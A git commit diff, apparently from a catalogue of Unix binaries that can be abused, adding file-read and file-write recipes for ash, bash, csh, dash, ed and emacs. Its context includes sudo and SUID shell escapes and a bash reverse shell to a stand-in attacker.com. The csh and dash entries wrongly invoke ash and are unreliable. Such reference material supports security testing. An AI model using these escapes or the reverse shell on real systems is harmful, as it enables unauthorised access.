Add read/write for ash, bash, csh, dash, ed, and emacs

This commit is contained in:
Emilio Pinna 2018-05-28 18:09:16 +01:00 committed by Andrea Cardaci
parent 2cfa11d5f8
commit 66b617c955
6 changed files with 35 additions and 0 deletions

View File

@ -6,4 +6,8 @@ functions:
- code: sudo ash
suid-enabled:
- code: ./ash
file-write:
- code: |
export LFILE=file_to_write
ash -c 'echo data > $LFILE'
---

View File

@ -40,4 +40,13 @@ functions:
export RHOST=attacker.com
export RPORT=12345
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
file-read:
- description: It trims trailing newlines.
code: |
export LFILE=file_to_read
bash -c 'echo "$(<$LFILE)"'
- description: It trims trailing newlines.
code: |
export LFILE=file_to_read
bash -c $'read -d \x04 a < "$LFILE"; echo "$a"'
---

View File

@ -6,4 +6,8 @@ functions:
- code: sudo csh
suid-enabled:
- code: ./csh -b
file-write:
- code: |
export LFILE=file_to_write
ash -c 'echo data > $LFILE'
---

View File

@ -6,4 +6,8 @@ functions:
- code: sudo dash
suid-enabled:
- code: ./dash -p
file-write:
- code: |
export LFILE=file_to_write
ash -c 'echo data > $LFILE'
---

View File

@ -12,4 +12,11 @@ functions:
- code: |-
./ed
!/bin/sh
file-read:
- code: |
ed file_to_read
file-write:
- code: |
ed file_to_write
w
---

View File

@ -6,4 +6,11 @@ functions:
- code: sudo emacs -Q -nw --eval '(term "/bin/sh")'
suid-enabled:
- code: ./emacs -Q -nw --eval '(term "/bin/sh -p")'
file-read:
- code: |
emacs file_to_read
file-write:
- code: |
emacs file_to_write
C-x C-s
---